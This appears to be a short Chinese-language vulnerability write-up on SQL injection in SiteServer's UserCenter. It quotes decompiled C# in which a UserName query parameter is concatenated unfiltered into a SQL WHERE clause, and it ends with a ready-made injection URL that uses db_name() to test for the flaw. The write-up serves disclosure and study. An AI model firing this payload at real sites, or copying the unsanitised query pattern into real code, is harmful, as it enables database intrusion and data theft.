1.漏洞代码。
在Bin\UserCenter.Pages.dll文件中,UserCenter.BackgroundPages.Modal.UserView类的Page_Load方法中,可以见到如下代码:
```
public void Page_Load(object sender, EventArgs e)
		{
			string text = base.Request.QueryString["UserName"]; //获取UserName
			bool flag2;
			bool flag = (flag2 ? 1u : 0u) > 4294967295u;
			ArrayList arrayList;
			if (!flag)
			{
				if (3 != 0)
				{
					this.xb9335f5bbebb5da2 = UserDataProvider.get_UserDAO().GetUserInfo(text); //传入GetUserInfo函数   
					if (2 != 0)
					{
					}
					ArrayList relatedIdentities = UserManager.GetRelatedIdentities(this.xb9335f5bbebb5da2.get_TypeID());
					ArrayList tableStyleInfoArrayList = TableStyleManager.GetTableStyleInfoArrayList(11, 
............................................................................................
		}
```
接着看看UserCenter.Provider.dll\UserCenter.Provider.Data.SqlServer/UserDAO.cs下的GetUserInfo函数 :
```
public UserInfo GetUserInfo(string userName)
{
	UserInfo userInfo = null;
		UserInfo result;
		if (15 != 0)
		{
			while (!string.IsNullOrEmpty(userName))
			{
				string text = string.Format("WHERE UserName = '{0}'", userName); //直接拼接sql语句,没有任何过滤
				if (4 != 0)
				{
					string selectSqlString = BaiRongDataProvider.get_TableStructureDAO().GetSelectSqlString("bairong_Users", "*", text);
					IDataReader dataReader = base.ExecuteReader(selectSqlString);
					bool flag;
					try
					{
						flag = !dataReader.Read();
						if (flag)
						{
							goto IL_C4;
						}
.......................................................................................
```
2.漏洞构造
GetUserInfo没有过滤参数,Page_Load也没有过滤参数,导致了sql注入,构造“siteserver/userRole/modal_UserView.aspx?UserName=a' or[areaid]>db_name()--”即可测试是否存在注入
                       
                       
        
          
暂无评论